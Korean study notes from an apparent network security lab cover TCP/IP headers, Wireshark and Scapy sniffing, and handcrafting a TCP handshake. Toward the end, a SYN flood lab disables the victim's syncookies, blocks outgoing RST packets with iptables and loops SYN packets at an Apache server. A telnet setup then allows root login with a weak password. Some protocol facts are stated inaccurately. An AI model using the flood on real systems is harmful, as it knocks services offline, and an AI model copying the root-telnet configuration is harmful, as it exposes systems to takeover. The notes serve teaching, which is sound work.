TCP/IP 계층
| 계층 | 태그 | 주요 프로토콜 |
|---|---|---|
| 응용 | (프로세스) | FTP, SSH, TELNET, SMTP, DNS, DHCP, HTTP, POP3, SNMP, SSL 등 |
| 전송 | TCP, UDP | |
| 네트워크 | (인터넷) | IP, ICMP, IGMP, ARP, RARP |
| 데이터링크 | (네트워크 인터페이스, 네트워크 접근) | ETHERNET, PPP |
| 물리 |
계층(layer)
비음성 통신에서 데이터를 전송하기 위한 일련의 과정, 단계, 절차
송신자 운영체제에서는 응용 → 전송 → 네트워크 → 데이터 링크 → 물리 계층 순으로 데이터를 전송
~~~~~~~~~~~~~~~~~~~~~~~~~~~~(인캡슐레이션, 정보 구체화)
수신자 운영체제에서는 물리 → 데이터 링크 → 네트워크 → 전송 → 응용 계층 순으로 데이터를 수신
~~~~~~~~~~~~~~~~~~~~~~~~~~~~(디캡슐레이션, 정보 해석화)
| 계층 | 데이터 전송 단위 | 주요 정보 | 주요 프로토콜 | 열 |
|---|---|---|---|---|
| 응용 | 메시지 | 약 65,000개 정도 | 송신 시작 계층 | |
| 전송 | 데이터그램/세그먼트 | 포트 번호 | UDP, TCP | |
| 네트워크 | 패킷 | IP 주소 | IP, ICMP, ... | |
| 데이터링크 | 프레임 | MAC 주소 | ETHERNET, PPP | |
| 물리 | 비트 | 수신 시작 계층 |
Wireshark 실습
@Attacker wireshark를 실행하고, 브라우져를 통해서 google.com으로 접속
┌──(kali㉿kali)-[~]
└─$ sudo wireshark
[sudo] password for kali: kali
TCP/IP 전송 계층
UDP
응용 계층에서 페이로드를 생성하면 전송 계층에서 출발지 포트와 목적지 포트가 담긴 헤더를 붙인 뒤 네트워크 계층으로 전달
512바이트 미만의 페이로드를 대상으로 오직 전송 과정에만 초점을 두고 개발
실시간을 요구하는 환경에 적합
단편화와 버퍼링 처리 과정을 생략한 만큼 지연 발생이 없음
TCP
응용 계층에서 페이로드를 생성하면 전송 전에 3단계 연결 설정을 수행
응용 계층에서 생성한 페이로드를 응용 계층 버퍼에 임시로 저장하고 전송 계층에서 SYN 신호를 담은 세그먼트 1개를 생성
SYN 세그먼트는 네트워크 계층, 데이터 링크 계층, 물리 계층을 통과해서 수신지로 전송
수신측에서는 해당 SYN 신호를 전송 계층까지 차례대로 끌어올린 후 전송 계층에서 SYN/ACK 신호를 담은 세그먼트를 생성해서 송신지로 전달
송신측에서는 해당 SYN/ACK 신호를 전송 계층까지 차례대로 끌어올린 후 전송 계층에서 ACK 신호를 담은 세그먼트를 생성해서 수신지로 전달해서 3단계 설정을 완성
3단계 연결 설정이 완료되면 운영체제는 응용 계층 버퍼에 저장했던 TCP 페이로드를 전송 계층으로 전달
전송 계층은 응용 계층에서 전달된 TCP 페이로드를 대상으로 단편화를 수행
단편화가 끝나면 조각난 페이로드를 각 계층을 통과하면서 헤더를 추가해서 전달
UDP 헤더
- 8바이트로 고정
- 출발지 포트와 목적지 포트 : 16비트 → 응용 계층에 속하는 프로토콜의 종류가 65536개
- 길이(length) : UDP 페이로드와 UDP 헤더를 더한 데이터 그램의 크기
- 오류검사(checksum) : 기본적으로 비활성화
TCP 헤더
- TCP 헤더는 가변적
- 일반적으로 20바이트 크기를 사용하지만, TCP Options 항목을 이용해 21바이트 이상 사용 가능
- 출발지, 목적지 포트 : 16비트
- 일련번호(sequence number) , 확인번호(acknowledgment number) : 송신자와 수신자 사이에 주고받는 세그먼트의 연속성을 보장하기 위해 사용
- 오프셋(offset) : TCP 헤더의 길이 (일반적으로 20)
- 플래그(flags) : 제어 정보
CWR (Congestion Window Reduced) : 혼잡 윈도우 크기 감소 신호
ECN (Explicit Congestion Notification) : 혼잡 발생 신호
URG (Urgent) : 긴급 데이터라는 신호
ACK (Acknowledgment) : 확인 응답 신호
PSH (Push) : TCP 페이로드를 포함한다는 신호
RST (Reset) : 상대방과 연결을 강제로 종료하기 위한 신호
SYN (Synchronize) : 상대방과 동기화를 확립하기 위한 개시 신호
FIN (Finish) : 상대방과 동기화를 해제하기 위한 종료 신호
- 윈도우(window) : 흐름 제어와 관련된 것으로 송신자가 전송할 수 있는 동적인 정보의 양
- 긴급 포인트(urgent pointer) : 작업을 긴급하게 중단할 때(예: Ctrl+C) 발생, URG 항목이 나타날 때 0에서 1로 설정이 바뀌면서 동작
TCP/IP 네트워크 계층
IP 헤더
- 일반적으로 20바이트 크기를 사용
- IP Option 항목을 이용하면 21바이트 이상으로 사용이 가능
- 버전(version) : IPv4(4), IPv6(6)
- 헤더 길이(header length) : IP 헤더의 길이 (20)
- 서비스 종류 (TOS, Type Of Service) : 해당 패킷의 전송 우선 순위를 저장 (회선이 혼잡할 경우 해당 패킷에 전송 우선 순위를 부여)
- 전체 길이(total length) : IP 헤더를 포함한 패킷 전체의 길이
- Identification, IP Flags, Fragment Offset : MTU(Maximum Transmission Unit : 최대 전송 단위)에 따른 패킷 분할 정보
- IP Flags : 패킷 분할 여부를 표시
- D : Do not fragment
- M : More fragment
- IP Flags : 패킷 분할 여부를 표시
- 생존 시간 (TTL, Time To Live) : 해당 패킷이 통과할 수 있는 라우터의 개수
- 프로토콜(protocol) : 상위 계층에 속한 프로토콜 번호, 수신 측에서 해당 패킷의 속성을 파악하는데 사용
- 헤더 오류 검사(header checksum) : 비활성화 상태
- 출발지, 목적지 주소 : 32비트의 IP주소
MTU : 최대 전송 단위
MTU 1500 바이트인 이더넷 구간을 1400바이트 크기의 패킷이 통과하는 경우 → 패킷 분할이 없음
X = 0, D = 1, M = 0, Fragment Offset = 0
MTU 1500 바이트인 이더넷 구간을 5900 바이트 크기의 패킷이 통과하는 경우 → 패킷 분할이 발생
X = 0, D = 0, M = 1, Fragment Offset = 0 (처음)
X = 0, D = 0, M = 1, Fragment Offset = 1500 (두번째)
X = 0, D = 0, M = 1, Fragment Offset = 3000 (세번째)
X = 0, D = 1, M = 0, Fragment Offset = 4500 (네번째)
Scapy
- 파이썬으로 제작된 패킷 조작 프로그램
- 패킷 캡쳐, 전송, 수정, 디코딩 등 다양한 기능을 제공
실습
터미널에서 sudo scapy 입력하여 프로그램 실행
>>> ls() ⇐ 지원하는 프로토콜 목록
AH : AH
AKMSuite : AKM suite
ARP : ARP
ASN1P_INTEGER : None
...>>> ls(TCP) ⇐ TCP 헤더 정보를 출력
sport : ShortEnumField = (20)
dport : ShortEnumField = (80)
seq : IntField = (0)
ack : IntField = (0)
dataofs : BitField (4 bits) = (None)
reserved : BitField (3 bits) = (0)
flags : FlagsField (9 bits) = (<Flag 2 (S)>)
window : ShortField = (8192)
chksum : XShortField = (None)
urgptr : ShortField = (0)
options : TCPOptionsField = (b'')
>>> TCP().display() ⇐ 현재 설정된 TCP 헤더 정보를 출력
###[ TCP ]###
sport= ftp_data
dport= http
seq= 0
ack= 0
dataofs= None
reserved= 0
flags= S
window= 8192
chksum= None
urgptr= 0
options= []>>> lsc() ⇐ 사용 가능한 기능 목록
IPID_count : Identify IP id values classes in a list of packets
arpcachepoison : Poison target's cache with (your MAC,victim's IP) couple
arping : Send ARP who-has requests to determine which hosts are up
arpleak : Exploit ARP leak flaws, like NetBSD-SA2017-002.
bind_layers : Bind 2 layers on some specific fields' values.
bridge_and_sniff : Forward traffic between interfaces if1 and if2, sniff and return
chexdump : Build a per byte hexadecimal representation# 현재 설정된 IP 헤더의 정보를 출력
>>> IP().display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= hopopt
chksum= None
src= 127.0.0.1
dst= 127.0.0.1
\options\
>>> ip = IP()
>>> ip.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= hopopt
chksum= None
src= 127.0.0.1
dst= 127.0.0.1
\options\# 현재 IP 헤더에 목적지 주소를 변경
>>> ip = IP()
>>> ip.dst = "192.168.111.130"
>>> ip.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= hopopt
chksum= None
src= 192.168.94.129
dst= 192.168.111.130
\options\
(스푸핑 : 잘못된 정보 계속 주입)
(스누핑 : 훔쳐보는것
>>> sniff() ⇒ 브라우저를 통해서 타 사이트를 방문한 후 중단(Ctrl+C)
^C<Sniffed: TCP:545 UDP:7 ICMP:0 Other:2> ⇒ 스니핑 결과를 출력
>>> sf = sniff()
^C>>> sf.display()
0000 Ether / IP / UDP / DNS Qry "b'www.daum.net.'"
0001 Ether / IP / TCP 192.168.94.129:53328 > 211.231.99.17:https S ⇐ 연결 요청
0002 Ether / IP / UDP / DNS Ans "b'www.g.daum.net.'"
0003 Ether / IP / TCP 211.231.99.17:https > 192.168.94.129:53328 SA / Padding ⇐ 연결 수락
0004 Ether / IP / TCP 192.168.94.129:53328 > 211.231.99.17:https A ⇐ 연결 수락에 대한 회신(확인)
0005 Ether / IP / TCP 192.168.94.129:53328 > 211.231.99.17:https PA / Raw
0006 Ether / IP / TCP 211.231.99.17:https > 192.168.94.129:53328 A / Padding
0007 Ether / IP / TCP 211.231.99.17:https > 192.168.94.129:53328 PA / Raw
0008 Ether / IP / TCP 192.168.94.129:53328 > 211.231.99.17:https A
0009 Ether / IP / TCP 192.168.94.129:53328 > 211.231.99.17:https PA / Raw
# 도움말
>>> help()
:
help> sniff
>>> sf = sniff(count=10) ⇐ 캡쳐할 패킷의 개수를 지정
>>> sf.display()
0000 Ether / IP / UDP / DNS Qry "b'www.daum.net.'"
0001 Ether / IP / UDP / DNS Ans "b'www.g.daum.net.'"
0002 Ether / IP / TCP 192.168.94.129:40264 > 203.133.167.16:https S
0003 Ether / IP / TCP 203.133.167.16:https > 192.168.94.129:40264 SA / Padding
0004 Ether / IP / TCP 192.168.94.129:40264 > 203.133.167.16:https A
0005 Ether / IP / TCP 192.168.94.129:40264 > 203.133.167.16:https PA / Raw
0006 Ether / IP / TCP 203.133.167.16:https > 192.168.94.129:40264 A / Padding
0007 Ether / IP / TCP 203.133.167.16:https > 192.168.94.129:40264 PA / Raw
0008 Ether / IP / TCP 203.133.167.16:https > 192.168.94.129:40264 PA / Raw
0009 Ether / IP / TCP 203.133.167.16:https > 192.168.94.129:40264 PA / Raw
>>> sf[2].show()
###[ Ethernet ]###
dst= 00:50:56:ee:37:4a
src= 00:0c:29:3d:e7:e0
type= IPv4
###[ IP ]###
version= 4
ihl= 5
tos= 0x0
len= 60
id= 63862
flags= DF
frag= 0
ttl= 64
proto= tcp
chksum= 0xaf85
src= 192.168.94.129
dst= 203.133.167.16
\options\
###[ TCP ]###
sport= 40264
dport= https
seq= 3272259479
ack= 0
dataofs= 10
reserved= 0
flags= S ⇐ SYN 플래그가 설정된 세그먼트
window= 64240
chksum= 0x91ee
urgptr= 0
options= [('MSS', 1460), ('SAckOK', b''), ('Timestamp', (43726480, 0)), ('NOP', None), ('WScale', 7)]
Scapy 이용한 3-Way Handshaking 실습
@WindowsXP (SecureCoding Client) 가상머신
C:\SecureCoding\start_securecoding.bat 실행 ⇒ Eclipse 하단의 Severs 탭에 Tomcat을 선택 후 실행
명령어 창 실행 후 ipconfig 명령어로 IP를 확인
@Attacker 가상머신
브라우저 실행 후 http://WINDOWS_XP_IP:8080/openeg 접속을 확인
터미널 실행 후 ip a 명령어로 IP를 확인
>>> ip = IP()
>>> ip.display() ⇐ IP 헤더를 확인
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= hopopt
chksum= None
src= 127.0.0.1
dst= 127.0.0.1
\options\
>>> ip.dst = "192.168.94.128" ⇐ 목적지 IP 주소를 Windows XP 가상머신의 주소로 변경
>>> ip.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= hopopt
chksum= None
src= 192.168.94.129
dst= 192.168.94.128 ⇐ 목적지 IP 주소가 변경된 것을 확인
\options\
>>> tcp = TCP()
>>> tcp.display()
###[ TCP ]###
sport= ftp_data
dport= http
seq= 0
ack= 0
dataofs= None
reserved= 0
flags= S
window= 8192
chksum= None
urgptr= 0
options= []
>>> tcp.sport = RandNum(1024, 65535) ⇐ 출발지 포트는 랜덤 포트
>>> tcp.dport = 8080 ⇐ 목적지 포트는 서비스 포트
>>> tcp.display()
###[ TCP ]###
sport= <RandNum>
dport= http_alt
seq= 0
ack= 0
dataofs= None
reserved= 0
flags= S ⇐ 연결 요청을 위한 세그먼트 이므로 SYN 플래그를 설정
window= 8192
chksum= None
urgptr= 0
options= []
>>> syn = ip/tcp ⇐ TCP 세그먼트에 IP 헤더를 덧붙여 SYN 패킷을 생성
>>> syn.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= tcp
chksum= None
src= 192.168.94.129
dst= 192.168.94.128
\options\
###[ TCP ]###
sport= <RandNum>
dport= http_alt
seq= 0
ack= 0
dataofs= None
reserved= 0
flags= S
window= 8192
chksum= None
urgptr= 0
options= []
>>> syn_ack = sr1(syn) ⇐ 전송하고 첫번째 응답이 올 때까지 대기
Begin emission:
Finished sending 1 packets.
.*
Received 2 packets, got 1 answers, remaining 0 packets
>>> syn_ack.display()
###[ IP ]###
version= 4
ihl= 5
tos= 0x0
len= 44
id= 29799
flags= DF
frag= 0
ttl= 128
proto= tcp
chksum= 0x4812
src= 192.168.94.128 ⇐ Windows XP
dst= 192.168.94.129 ⇐ @Attacker
\options\
###[ TCP ]###
sport= http_alt ⇐ 8080 = Windows XP에서 실행되고 있는 웹 애플리케이션 서비스 포트
dport= 10786 ⇐ RandNum
seq= 931382971
ack= 1
dataofs= 6
reserved= 0
flags= SA ⇐ SYN / ACK
window= 64240
chksum= 0x16e1
urgptr= 0
options= [('MSS', 1460)]
###[ Padding ]###
load= '\x00\x00'
>>> ack = ip/TCP(sport=syn_ack[TCP].dport, flags="A", seq=syn_ack[TCP].ack, ack=syn_ack[TCP].seq+1)
>>> send(ack)
.
Sent 1 packets.seq : 순번
ack : 응답 번호
ACK 플래그가 설정되었을 때만 유효
다음에 수신하기를 원하는 순번을 기술
수신 메시지에 seq + 1 한 값 (다음에 받고싶은거)
Victim 가상머신을 실행 후 apache를 실행 및 IP 확인
sudo service apache2 start
sudo service apache2 status
ip a@Attacker 가상머신
브라우저를 이용해서 http://VICTIM_IP 접속여부 확인
@Victim에 와이어샤크를 실행한 상태에서 @Attacker에서 Scapy를 이용해서 3-way handshaking을 수행
위에 XP 가상머신과 했던것을 참조하면서.
Victim에서는 apache2 환경이기 때문에 서비스포트가 http(80)이다.
TCP SYN Flooding 실습
공격자가 SYN 패킷만 계속해서 전달
@Victim
┌──(kali㉿kali)-[~]
└─$ sudo sysctl -a | grep syncookies
[sudo] password for kali:
net.ipv4.tcp_syncookies = 1 ⇐ syncookie를 사용한다. = backlog que에 SYN 패킷을 저장하지 않는다.
┌──(kali㉿kali)-[~]
└─$ sudo sysctl -w net.ipv4.tcp_syncookies=0 255 ⨯
net.ipv4.tcp_syncookies = 0@Attacker
┌──(kali㉿kali)-[~] ⇐ 외부로 RST 패킷이 나가지 못 하도록 방화벽에 룰 추가
└─$ sudo iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP리셋 안되게 막아버림 ㅋㅋ
@Attacker
ip = IP()
ip.dst = "Victim IP주소"
tcp = TCP()
tcp.dport = Victim 포트주소
tcp.sport = RandNum(1024,65535)
tcp.flags = 'S'
syc = ip/tcp
send(syc, loop=True)
@Victim
┌──(kali㉿kali)-[~]
└─$ sudo netstat -an | grep -i syn_recv
tcp6 0 0 192.168.94.131:80 192.168.94.129:37220 SYN_RECV
tcp6 0 0 192.168.94.131:80 192.168.94.129:57211 SYN_RECV
tcp6 0 0 192.168.94.131:80 192.168.94.129:15862 SYN_RECV
tcp6 0 0 192.168.94.131:80 192.168.94.129:62121 SYN_RECV
tcp6 0 0 192.168.94.131:80 192.168.94.129:25891 SYN_RECV
tcp6 0 0 192.168.94.131:80 192.168.94.129:2351 SYN_RECV
tcp6 0 0 192.168.94.131:80 192.168.94.129:52905 SYN_RECV
tcp6 0 0 192.168.94.131:80 192.168.94.129:60779 SYN_RECV
tcp6 0 0 192.168.94.131:80 192.168.94.129:52829 SYN_RECV
tcp6 0 0 192.168.94.131:80 192.168.94.129:4219 SYN_RECV
tcp6 0 0 192.168.94.131:80 192.168.94.129:25505 SYN_RECV
tcp6 0 0 192.168.94.131:80 192.168.94.129:27673 SYN_RECV
tcp6 0 0 192.168.94.131:80 192.168.94.129:45371 SYN_RECV
tcp6 0 0 192.168.94.131:80 192.168.94.129:60800 SYN_RECV
tcp6 0 0 192.168.94.131:80 192.168.94.129:51057 SYN_RECV
tcp6 0 0 192.168.94.131:80 192.168.94.129:24775 SYN_RECV
tcp6 0 0 192.168.94.131:80 192.168.94.129:48989 SYN_RECV
tcp6 0 0 192.168.94.131:80 192.168.94.129:52253 SYN_RECV
tcp6 0 0 192.168.94.131:80 192.168.94.129:27497 SYN_RECV
tcp6 0 0 192.168.94.131:80 192.168.94.129:9897 SYN_RECV
tcp6 0 0 192.168.94.131:80 192.168.94.129:11120 SYN_RECV
tcp6 0 0 192.168.94.131:80 192.168.94.129:9555 SYN_RECV
tcp6 0 0 192.168.94.131:80 192.168.94.129:4901 SYN_RECV
tcp6 0 0 192.168.94.131:80 192.168.94.129:52575 SYN_RECV보내는 포트가 다 다름 (무작위)
SYN_RECV (Syn은 받았는데 Ack가 안옴)
LAB
@Victim에 텔넷 서버 구축
┌──(kali㉿kali)-[~]
└─$ sudo apt update
┌──(kali㉿kali)-[~]
└─$ sudo apt install telnetd
┌──(kali㉿kali)-[~]
└─$ sudo apt install xinetd
┌──(kali㉿kali)-[~]
└─$ sudo vi /etc/xinetd.conf:
service telnet
{
disable = no
flag = REUSE
socket_type = stream
wait = no
user = root
server = /var/sbin/in.telnetd
log_on_failure += USERID
}┌──(kali㉿kali)-[~]
└─$ sudo service xinetd restart
┌──(kali㉿kali)-[~]
└─$ sudo passwd
New password: kali
Retype new password: kali
passwd: password updated successfully
@Windows XP에서 텔넷 접속을 확인
C:\> telnet VICTIM_IP
Kali GNU/Linux Rolling
kali login: root
Password: kali